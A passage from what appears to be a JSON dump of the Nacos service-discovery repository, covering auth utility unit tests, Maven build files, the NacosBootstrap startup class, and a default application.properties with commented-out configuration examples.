ServerIdentity(\"testKey\", \"testValue\");\n        assertEquals(\"testValue\", identity.getIdentityValue());\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/util/AuthHeaderUtilTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.util;\n\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.common.http.param.Header;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass AuthHeaderUtilTest {\n\n    private static final String TEST_KEY = \"testKey\";\n    private static final String TEST_VALUE = \"testValue\";\n\n    @Mock\n    private NacosAuthConfig authConfig;\n\n    @Mock\n    private Request request;\n\n    @Test\n    void testAddIdentityToHttpHeaderWhenNotSupport() {\n        when(authConfig.isSupportServerIdentity()).thenReturn(false);\n\n        Header header = Header.newInstance();\n        AuthHeaderUtil.addIdentityToHeader(header, authConfig);\n\n        assertNull(header.getValue(TEST_KEY));\n    }\n\n    @Test\n    void testAddIdentityToHttpHeaderWithBlankKey() {\n        when(authConfig.isSupportServerIdentity()).thenReturn(true);\n        when(authConfig.getServerIdentityKey()).thenReturn(\"\");\n\n        Header header = Header.newInstance();\n        AuthHeaderUtil.addIdentityToHeader(header, authConfig);\n\n        assertNull(header.getValue(TEST_KEY));\n    }\n\n    @Test\n    void testAddIdentityToHttpHeaderSuccess() {\n        when(authConfig.isSupportServerIdentity()).thenReturn(true);\n        when(authConfig.getServerIdentityKey()).thenReturn(TEST_KEY);\n        when(authConfig.getServerIdentityValue()).thenReturn(TEST_VALUE);\n\n        Header header = Header.newInstance();\n        AuthHeaderUtil.addIdentityToHeader(header, authConfig);\n\n        assertEquals(TEST_VALUE, header.getValue(TEST_KEY));\n    }\n\n    @Test\n    void testAddIdentityToGrpcRequestWhenNotSupport() {\n        when(authConfig.isSupportServerIdentity()).thenReturn(false);\n\n        AuthHeaderUtil.addIdentityToHeader(request, authConfig);\n\n        verify(request, never()).putHeader(anyString(), anyString());\n    }\n\n    @Test\n    void testAddIdentityToGrpcRequestWithBlankKey() {\n        when(authConfig.isSupportServerIdentity()).thenReturn(true);\n        when(authConfig.getServerIdentityKey()).thenReturn(\"   \");\n\n        AuthHeaderUtil.addIdentityToHeader(request, authConfig);\n\n        verify(request, never()).putHeader(anyString(), anyString());\n    }\n\n    @Test\n    void testAddIdentityToGrpcRequestSuccess() {\n        when(authConfig.isSupportServerIdentity()).thenReturn(true);\n        when(authConfig.getServerIdentityKey()).thenReturn(TEST_KEY);\n        when(authConfig.getServerIdentityValue()).thenReturn(TEST_VALUE);\n\n        AuthHeaderUtil.addIdentityToHeader(request, authConfig);\n\n        verify(request).putHeader(TEST_KEY, TEST_VALUE);\n    }\n\n    @Test\n    void testConstructor() {\n        new AuthHeaderUtil();\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/util/LoggersTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.util;\n\nimport ch.qos.logback.classic.Level;\nimport ch.qos.logback.classic.Logger;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\n\n@ExtendWith(MockitoExtension.class)\nclass LoggersTest {\n    \n    private Level originalLevel;\n    \n    @BeforeEach\n    void setUp() {\n        originalLevel = ((Logger) Loggers.AUTH).getLevel();\n    }\n    \n    @AfterEach\n    void tearDown() {\n        if (originalLevel != null) {\n            ((Logger) Loggers.AUTH).setLevel(originalLevel);\n        }\n    }\n    \n    @Test\n    void testSetLogLevelForAuth() {\n        Loggers.setLogLevel(\"auth\", \"DEBUG\");\n        assertEquals(Level.DEBUG, ((Logger) Loggers.AUTH).getLevel());\n    }\n    \n    @Test\n    void testSetLogLevelForNonAuth() {\n        Level levelBefore = ((Logger) Loggers.AUTH).getLevel();\n        Loggers.setLogLevel(\"other\", \"DEBUG\");\n        assertEquals(levelBefore, ((Logger) Loggers.AUTH).getLevel());\n    }\n    \n    @Test\n    void testAuthLoggerNotNull() {\n        assertNotNull(Loggers.AUTH);\n    }\n\n    @Test\n    void testConstructor() {\n        new Loggers();\n    }\n}\n"
  },
  {
    "path": "auth/src/test/resources/META-INF/services/com.alibaba.nacos.plugin.auth.spi.server.AuthPluginService",
    "content": "#\n# Copyright 1999-2021 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.auth.mock.MockAuthPluginService\n"
  },
  {
    "path": "bootstrap/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2023 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>com.alibaba.nacos</groupId>\n        <artifactId>nacos-all</artifactId>\n        <version>${revision}</version>\n        <relativePath>../pom.xml</relativePath>\n    </parent>\n    \n    <artifactId>nacos-bootstrap</artifactId>\n    <name>nacos-bootstrap ${project.version}</name>\n    \n    <dependencies>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-console</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-core</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-server</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-mcp-registry-adaptor</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-datasource-plugin-base</artifactId>\n            <version>${revision}</version>\n\n        </dependency>\n    </dependencies>\n    \n    <profiles>\n        <profile>\n            <id>dev</id>\n            <activation>\n                <property>\n                    <name>spring.profiles.active</name>\n                    <value>dev</value>\n                </property>\n            </activation>\n            <dependencies>\n                <dependency>\n                    <groupId>com.alibaba.nacos</groupId>\n                    <artifactId>nacos-default-plugin-all</artifactId>\n                    <version>${project.version}</version>\n                </dependency>\n            </dependencies>\n        </profile>\n        <profile>\n            <id>release-nacos</id>\n            <build>\n                <finalName>nacos-server</finalName>\n                <plugins>\n                    <plugin>\n                        <artifactId>maven-jar-plugin</artifactId>\n                        <configuration>\n                            <archive>\n                                <manifest>\n                                    <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                                    <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                                </manifest>\n                            </archive>\n                        </configuration>\n                    </plugin>\n                    <plugin>\n                        <groupId>org.springframework.boot</groupId>\n                        <artifactId>spring-boot-maven-plugin</artifactId>\n                        <configuration>\n                            <mainClass>com.alibaba.nacos.bootstrap.NacosBootstrap</mainClass>\n                            <layout>ZIP</layout>\n                        </configuration>\n                        <executions>\n                            <execution>\n                                <goals>\n                                    <goal>repackage</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                </plugins>\n            </build>\n        </profile>\n    </profiles>\n</project>\n"
  },
  {
    "path": "bootstrap/src/main/java/com/alibaba/nacos/bootstrap/NacosBootstrap.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.bootstrap;\n\nimport com.alibaba.nacos.mcpregistry.NacosMcpRegistry;\nimport com.alibaba.nacos.NacosServerBasicApplication;\nimport com.alibaba.nacos.NacosServerWebApplication;\nimport com.alibaba.nacos.console.NacosConsole;\nimport com.alibaba.nacos.core.listener.startup.NacosStartUp;\nimport com.alibaba.nacos.core.listener.startup.NacosStartUpManager;\nimport com.alibaba.nacos.sys.env.Constants;\nimport com.alibaba.nacos.sys.env.DeploymentType;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.boot.Banner;\nimport org.springframework.boot.ResourceBanner;\nimport org.springframework.boot.WebApplicationType;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.builder.SpringApplicationBuilder;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.core.io.ClassPathResource;\nimport org.springframework.jmx.export.MBeanExporter;\nimport org.springframework.jmx.support.RegistrationPolicy;\n\n/**\n * Nacos bootstrap class.\n *\n * @author xiweng.yy\n */\n@SpringBootApplication\npublic class NacosBootstrap {\n    \n    private static final String SPRING_JMX_ENABLED = \"spring.jmx.enabled\";\n    \n    public static void main(String[] args) {\n        String type = System.getProperty(Constants.NACOS_DEPLOYMENT_TYPE, Constants.NACOS_DEPLOYMENT_TYPE_MERGED);\n        DeploymentType deploymentType = DeploymentType.getType(type);\n        EnvUtil.setDeploymentType(deploymentType);\n        switch (deploymentType) {\n            case MERGED:\n                startWithConsole(args);\n                break;\n            case SERVER:\n                startWithoutConsole(args);\n                break;\n            case CONSOLE:\n                startOnlyConsole(args);\n                break;\n            default:\n                throw new IllegalArgumentException(\"Unsupported nacos deployment type \" + type);\n        }\n    }\n    \n    private static void prepareCoreContext(ConfigurableApplicationContext coreContext) {\n        if (coreContext.getEnvironment().getProperty(SPRING_JMX_ENABLED, Boolean.class, false)) {\n            // Avoid duplicate registration MBean to exporter.\n            coreContext.getBean(MBeanExporter.class).setRegistrationPolicy(RegistrationPolicy.IGNORE_EXISTING);\n        }\n    }\n    \n    private static void startWithoutConsole(String[] args) {\n        ConfigurableApplicationContext coreContext = startCoreContext(args);\n        prepareCoreContext(coreContext);\n        ConfigurableApplicationContext webContext = startServerWebContext(args, coreContext);\n        if (isEnabledMcpRegistryApi(coreContext)) {\n            ConfigurableApplicationContext mcpRegistryContext = startMcpRegistryContext(args, coreContext);\n        }\n    }\n    \n    private static void startWithConsole(String[] args) {\n        ConfigurableApplicationContext coreContext = startCoreContext(args);\n        prepareCoreContext(coreContext);\n        ConfigurableApplicationContext serverWebContext = startServerWebContext(args, coreContext);\n        ConfigurableApplicationContext consoleContext = startConsoleContext(args, coreContext);\n        if (isEnabledMcpRegistryApi(coreContext)) {\n            ConfigurableApplicationContext mcpRegistryContext = startMcpRegistryContext(args, coreContext);\n        }\n    }\n    \n    private static ConfigurableApplicationContext startCoreContext(String[] args) {\n        NacosStartUpManager.start(NacosStartUp.CORE_START_UP_PHASE);\n        return new SpringApplicationBuilder(NacosServerBasicApplication.class).web(WebApplicationType.NONE)\n                .banner(getBanner(\"core-banner.txt\")).run(args);\n    }\n    \n    private static ConfigurableApplicationContext startServerWebContext(String[] args,\n            ConfigurableApplicationContext coreContext) {\n        NacosStartUpManager.start(NacosStartUp.WEB_START_UP_PHASE);\n        return new SpringApplicationBuilder(NacosServerWebApplication.class).parent(coreContext)\n                .banner(getBanner(\"nacos-server-web-banner.txt\")).run(args);\n    }\n    \n    private static ConfigurableApplicationContext startConsoleContext(String[] args,\n            ConfigurableApplicationContext coreContext) {\n        NacosStartUpManager.start(NacosStartUp.CONSOLE_START_UP_PHASE);\n        return new SpringApplicationBuilder(NacosConsole.class).parent(coreContext)\n                .banner(getBanner(\"nacos-console-banner.txt\")).run(args);\n    }\n    \n    private static ConfigurableApplicationContext startMcpRegistryContext(String[] args,\n                                                                          ConfigurableApplicationContext coreContext) {\n        NacosStartUpManager.start(NacosStartUp.MCP_REGISTRY_START_UP_PHASE);\n        return new SpringApplicationBuilder(NacosMcpRegistry.class).parent(coreContext)\n                .banner(getBanner(\"nacos-mcp-registry-banner.txt\")).run(args);\n    }\n    \n    private static void startOnlyConsole(String[] args) {\n        NacosStartUpManager.start(NacosStartUp.CONSOLE_START_UP_PHASE);\n        new SpringApplicationBuilder(NacosConsole.class).banner(\n                getBanner(\"nacos-console-banner.txt\")).run(args);\n    }\n    \n    private static Banner getBanner(String bannerFileName) {\n        return new ResourceBanner(new ClassPathResource(bannerFileName));\n    }\n    \n    private static boolean isEnabledMcpRegistryApi(ConfigurableApplicationContext coreContext) {\n        return coreContext.getEnvironment().getProperty(\"nacos.ai.mcp.registry.enabled\", Boolean.class, false);\n    }\n}\n"
  },
  {
    "path": "bootstrap/src/main/resources/application.properties",
    "content": "#\n# Copyright 1999-2025 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n#--------------- Nacos Common Configurations ---------------#\n\n#*************** Nacos port Related Configurations ***************#\n### Nacos Server Main port\nnacos.server.main.port=8848\n\n#*************** Network Related Configurations ***************#\n### If prefer hostname over ip for Nacos server addresses in cluster.conf:\n# nacos.inetutils.prefer-hostname-over-ip=false\n\n### Specify local server's IP:\n# nacos.inetutils.ip-address=\n\n#*************** Datasource Related Configurations ***************#\n### nacos.plugin.datasource.log.enabled=true\n\n### Property settings for mysql (default)\n#spring.sql.init.platform=mysql\n### Count of DB:\n# db.num=1\n### Connect URL of DB:\n# db.url.0=jdbc:mysql://127.0.0.1:3306/nacos?characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&useUnicode=true&useSSL=false&serverTimezone=UTC\n# db.user=nacos\n# db.password=nacos\n\n### Property settings for postgresql\n#spring.sql.init.platform=postgresql\n#db.num=1\n#db.url.0=jdbc:postgresql://127.0.0.1:5432/nacos\n#db.user=nacos\n#db.password=nacos\n#db.pool.config.driverClassName=org.postgresql.Driver\n\n#*************** Metrics Related Configurations ***************#\n### Metrics for prometheus\n#management.endpoints.web.exposure.include=prometheus\n\n### Metrics for elastic search\nmanagement.elastic.metrics.export.enabled=false\n#management.metrics.export.elastic.host=http://localhost:9200\n\n### Metrics for influx\nmanagement.influx.metrics.export.enabled=false\n#management.metrics.export.influx.db=springboot\n#management.metrics.export.influx.uri=http://localhost:8086\n#management.metrics.export.influx.auto-create-db=true\n#management.metrics.export.influx.consistency=one\n#management.metrics.export.influx.compressed=true\n\n#*************** Core Related Configurations ***************#\n\n### set the WorkerID manually\n# nacos.core.snowflake.worker-id=\n\n### Member-MetaData\n# nacos.core.member.meta.site=\n# nacos.core.member.meta.adweight=\n# nacos.core.member.meta.weight=\n\n### MemberLookup\n### Addressing pattern category, If set, the priority is highest\n# nacos.core.member.lookup.type=[file,address-server]\n\n## Set the cluster list with a configuration file or command-line argument\n# nacos.member.list=192.168.16.101:8847?raft_port=8807,192.168.16.101?raft_port=8808,192.168.16.101:8849?raft_port=8809\n\n## for AddressServerMemberLookup\n# Maximum number of retries to query the address server upon initialization\n# nacos.core.address-server.retry=5\n## Server domain name address of [address-server] mode\n# address.server.domain=jmenv.tbsite.net\n## Server port of [address-server] mode\n# address.server.port=8080\n## Request address of [address-server] mode\n# address.server.url=/nacos/serverlist\n\n#*************** JRaft Related Configurations ***************#\n\n### Sets the Raft cluster election timeout, default value is 5 second\n# nacos.core.protocol.raft.data.election_timeout_ms=5000\n### Sets the amount of time the Raft snapshot will execute periodically, default is 30 minute\n# nacos.core.protocol.raft.data.snapshot_interval_secs=30\n### raft internal worker threads\n# nacos.core.protocol.raft.data.core_thread_num=8\n### Number of threads required for raft business request processing\n# nacos.core.protocol.raft.data.cli_service_thread_num=4\n### raft linear read strategy. Safe linear reads are used by default, that is, the Leader tenure is confirmed by heartbeat\n# nacos.core.protocol.raft.data.read_index_type=ReadOnlySafe\n### rpc request timeout, default 5 seconds\n# nacos.core.protocol.raft.data.rpc_request_timeout_ms=5000\n### enable to support prometheus service discovery\n#nacos.prometheus.metrics.enabled=true\n\n#*************** Distro Related Configurations ***************#\n\n### Distro data sync delay time, when sync task delayed, task will be merged for same data key. Default 1 second.\n# nacos.core.protocol.distro.data.sync.delayMs=1000\n### Distro data sync timeout for one sync data, default 3 seconds.\n# nacos.core.protocol.distro.data.sync.timeoutMs=3000\n### Distro data sync retry delay time when sync data failed or timeout, same behavior with delayMs, default 3 seconds.\n# nacos.core.protocol.distro.data.sync.retryDelayMs=3000\n### Distro data verify interval time, verify synced data whether expired for a interval. Default 5 seconds.\n# nacos.core.protocol.distro.data.verify.intervalMs=5000\n### Distro data verify timeout for one verify, default 3 seconds.\n# nacos.core.protocol.distro.data.verify.timeoutMs=3000\n### Distro data load retry delay when load snapshot data failed, default 30 seconds.\n# nacos.core.protocol.distro.data.load.retryDelayMs=30000\n### enable to support prometheus service discovery\n#nacos.prometheus.metrics.enabled=true\n\n#*************** Grpc Configurations ***************#\n\n### Sets the maximum message size allowed to be received on the server.\n#nacos.remote.server.grpc.sdk.max-inbound-message-size=10485760\n### Sets the time(milliseconds) without read activity before sending a keepalive ping. The typical default is two hours.\n#nacos.remote.server.grpc.sdk.keep-alive-time=7200000\n### Sets a time(milliseconds) waiting for read activity after sending a keepalive ping. Defaults to 20 seconds.\n#nacos.remote.server.grpc.sdk.keep-alive-timeout=20000\n### Sets a time(milliseconds) that specify the most aggressive keep-alive time clients are permitted to configure. The typical default is 5 minutes\n#nacos.remote.server.grpc.sdk.permit-keep-alive-time=300000\n### cluster grpc(inside the nacos server) configuration\n#nacos.remote.server.grpc.cluster.max-inbound-message-size=10485760\n### Sets the time(milliseconds) without read activity before sending a keepalive ping. The typical default is two hours.\n#nacos.remote.server.grpc.cluster.keep-alive-time=7200000\n### Sets a time(milliseconds) waiting for read activity after sending a keepalive ping. Defaults to 20 seconds.\n#nacos.remote.server.grpc.cluster.keep-alive-timeout=20000\n### Sets a time(milliseconds) that specify the most aggressive keep-alive time clients are permitted to configure. The typical default is 5 minutes\n#nacos.remote.server.grpc.cluster.permit-keep-alive-time=300000\n\n#*************** TLS Configuration ***************#\n#nacos.remote.server.rpc.tls.enableTls=true\n#nacos.remote.server.rpc.tls.certChainFile=file:{path of cert}\n#nacos.remote.server.rpc.tls.certPrivateKey=file:{path of private key}\n\n#*************** Config Module Related Configurations ***************#\n\n### the maximum retry times for push\nnacos.config.push.maxRetryTime=50\n\n#*************** Naming Module Related Configurations ***************#\n### Data dispatch task execution period in milliseconds:\n\n### If enable data warmup. If set to false, the server would accept request without local data preparation:\n# nacos.naming.data.warmup=true\n\n### If enable the instance auto expiration, kind like of health check of instance:\n# nacos.naming.expireInstance=true\n\nnacos.naming.empty-service.auto-clean=true\nnacos.naming.empty-service.clean.initial-delay-ms=50000\nnacos.naming.empty-service.clean.period-time-ms=30000\n\n#*************** AI Module Related Configurations ***************#\n\n### Whether nacos ai module is enabled, default true. the ai module need both config module and naming module enabled.\n# nacos.extension.ai.enabled=true\n\n### Whether nacos mcp registry is enabled, default is false.\n### When enabled=true, Nacos will start a `mcp registry` server with new port with `nacos.ai.mcp.registry.port`\n#nacos.ai.mcp.registry.enabled=false\n\n### Nacos mcp registry port, default 9080:\nnacos.ai.mcp.registry.port=9080\n\n#--------------- Nacos Web Server Configurations ---------------#\n\n#*************** Nacos Web Server Related Configurations ***************#\n### Nacos Server Web context path:\nnacos.server.contextPath=/nacos\n\n#*************** Access Log Related Configurations ***************#\n### If turn on the access log:\nserver.tomcat.accesslog.enabled=true\n\n### accesslog automatic cleaning time\nserver.tomcat.accesslog.max-days=30\n\n### The access log pattern:\nserver.tomcat.accesslog.pattern=%h %l %u %t \"%r\" %s %b %D %{User-Agent}i %{Request-Source}i\n\n### The directory of access log:\nserver.tomcat.basedir=file:.\n\n#*************** API Related Configurations ***************#\n### Include message field\nserver.error.include-message=ALWAYS\n\n### Enabled for open API compatibility\n# nacos.core.api.compatibility.client.enabled=true\n### Enabled for admin API compatibility\n# nacos.core.api.compatibility.admin.enabled=false\n### Enabled for console API compatibility\n# nacos.core.api.compatibility.console.enabled=false\n\n#--------------- Nacos Console Configurations ---------------#\n\n#*************** Nacos Console Related Configurations ***************#\n### Nacos Console Main port\nnacos.console.port=8080\n### Maximum upload file size for console (e.g. skill zip). Default 10MB. Exceeding returns a clear error.\nspring.servlet.multipart.max-file-size=10MB\nspring.servlet.multipart.max-request-size=10MB\n### Nacos Server Web context path:\nnacos.console.contextPath=\n\n### Nacos Server context path, which link to nacos server `nacos.server.contextPath`, works when deployment type is `console`\nnacos.console.remote.server.context-path=/nacos\n\n#************** Console UI Configuration ***************#\n\n### Turn on/off the nacos console ui.\n#nacos.console.ui.enabled=true\n\n#--------------- Nacos Plugin Configurations ---------------#\n\n#*************** CMDB Plugin Related Configurations ***************#\n### The interval to dump external CMDB in seconds:\n# nacos.cmdb.dumpTaskInterval=3600\n\n### The interval of polling data change event in seconds:\n# nacos.cmdb.eventTaskInterval=10\n\n### The interval of loading labels in seconds:\n# nacos.cmdb.labelTaskInterval=300\n\n### If turn on data loading task:\n# nacos.cmdb.loadDataAtStart=false\n\n#*************** Auth Plugin Related Configurations ***************#\n### The ignore urls of auth, will be deprecated in the future:\nnacos.security.ignore.urls=/,/error,/**/*.css,/**/*.js,/**/*.html,/**/*.map,/**/*.svg,/**/*.png,/**/*.ico,/console-ui/public/**,/v1/auth/**,/v1/console/health/**,/actuator/**,/v1/console/server/**\n\n### The auth system to use, default 'nacos' and 'ldap' is supported, other type should be implemented by yourself:\nnacos.core.auth.system.type=nacos\n\n### If turn on auth system:\n# Whether open nacos server API auth system\nnacos.core.auth.enabled=true\n# Whether open nacos admin API auth system\nnacos.core.auth.admin.enabled=true\n# Whether open nacos console API auth system\nnacos.core.auth.console.enabled=true\n\n### Turn on/off caching of auth information. By turning on this switch, the update of auth information would have a 15 seconds delay.\nnacos.core.auth.caching.enabled=true\n\n### worked when nacos.core.auth.enabled=true\n### The two properties is the white list for auth and used by identity the request from other server.\nnacos.core.auth.server.identity.key=\nnacos.core.auth.server.identity.value=\n\n### worked when nacos.core.auth.system.type=nacos or nacos.core.auth.console.enabled=true\n### The token expiration in seconds:\nnacos.core.auth.plugin.nacos.token.cache.enable=false\nnacos.core.auth.plugin.nacos.token.expire.seconds=18000\n### The default token (Base64 string):\n#nacos.core.auth.plugin.nacos.token.secret.key=VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=\nnacos.core.auth.plugin.nacos.token.secret.key=\n\n### worked when nacos.core.auth.system.type=ldap\\uFF0C{0} is Placeholder,replace login username\n#nacos.core.auth.ldap.url=ldap://localhost:389\n#nacos.core.auth.ldap.basedc=dc=example,dc=org\n#nacos.core.auth.ldap.userDn=cn=admin,${nacos.core.auth.ldap.basedc}\n#nacos.core.auth.ldap.password=admin\n#nacos.core.auth.ldap.userdn=cn={0},dc=example,dc=org\n#nacos.core.auth.ldap.filter.prefix=uid\n#nacos.core.auth.ldap.case.sensitive=true\n#nacos.core.auth.ldap.ignore.partial.result.exception=false\n\n#*************** Control Plugin Related Configurations ***************#\n# plugin type\n#nacos.plugin.control.manager.type=nacos\n\n# local control rule storage dir, default ${nacos.home}/data/connection and ${nacos.home}/data/tps\n#nacos.plugin.control.rule.local.basedir=${nacos.home}\n\n# external control rule storage type, if exist\n#nacos.plugin.control.rule.external.storage=\n\n#*************** Config Change Plugin Related Configurations ***************#\n# webhook\n#nacos.core.config.plugin.webhook.enabled=false\n# It is recommended to use EB https://help.aliyun.com/document_detail/413974.html\n#nacos.core.config.plugin.webhook.url=http://localhost:8080/webhook/send?token=***\n# The content push max capacity ,byte\n#nacos.core.config.plugin.webhook.contentMaxCapacity=102400\n\n# whitelist\n#nacos.core.config.plugin.whitelist.enabled=false\n# The import file suffixs\n#nacos.core.config.plugin.whitelist.suffixs=xml,text,properties,yaml,html\n# fileformatcheck,which validate the import file of type and content\n#nacos.core.config.plugin.fileformatcheck.enabled=false\n\n#*************** Istio Plugin Related Configurations ***************#\n### If turn on the MCP server:\nnacos.istio.mcp.server.enabled=false\n\n#--------------- Nacos Experimental Features Configurations ---------------#\n\n#*************** K8s Related Configurations ***************#\n### If turn on the K8s sync:\nnacos.k8s.sync.enabled=false\n\n### If use the Java API from an application outside a kubernetes cluster\n#nacos.k8s.sync.outsideCluster=false\n#nacos.k8s.sync.kubeConfig=/.kube/config\n\n#*************** Fuzzy Watch Configuration ***************#\nnacos.config.fuzzy.watch.max.pattern.count=20\nnacos.config.fuzzy.watch.max.pattern.match.config.count=500\n\nnacos.naming.fuzzy.watch.max.pattern.count=20\nnacos.naming.fuzzy.watch.max.pattern.match.service.count=500"
  },
  {
    "path": "client/filter-config.json",
    "content": "{\n  \"rules\": [\n    {\n      \"includeClasses\": \"com.alibaba.nacos.**\"\n    },\n    {\n      \"excludeClasses\": \"org.mockito.**\"\n    },\n    {\n      \"excludeClasses\": \"java.lang.management.**\"\n    },\n    {\n      \"excludeClasses\": \"net.bytebuddy.**\"\n    },\n    {\n      \"excludeClasses\": \"junit.**\"\n    },\n    {\n      \"excludeClasses\": \"org.junit.**\"\n    },\n    {\n      \"excludeClasses\": \"org.graalvm.**\"\n    },\n    {\n      \"excludeClasses\": \"jdk.**\"\n    },\n    {\n      \"excludeClasses\": \"org.hamcrest.**\"\n    }\n  ],\n  \"regexRules\": [\n    {\"excludeClasses\": \".*Test$\"}\n  ]\n}"
  },
  {
    "path": "client/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2018 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>com.alibaba.nacos</groupId>\n        <artifactId>nacos-all</artifactId>\n        <version>${revision}</version>\n        <relativePath>../pom.xml</relativePath>\n    </parent>\n    \n    <modelVersion>4.0.0</modelVersion>\n    \n    <artifactId>nacos-client</artifactId>\n    <packaging>jar</packaging>\n    \n    <name>nacos-client ${project.version}</name>\n    <url>https://nacos.io</url>\n    <description>Nacos client pom.xml file</description>\n    \n    <properties>\n        <maven.compiler.source>${client.java.version}</maven.compiler.source>\n        <maven.compiler.target>${client.java.version}</maven.compiler.target>\n    </properties>\n\n    <dependencies>\n        \n        <dependency>\n  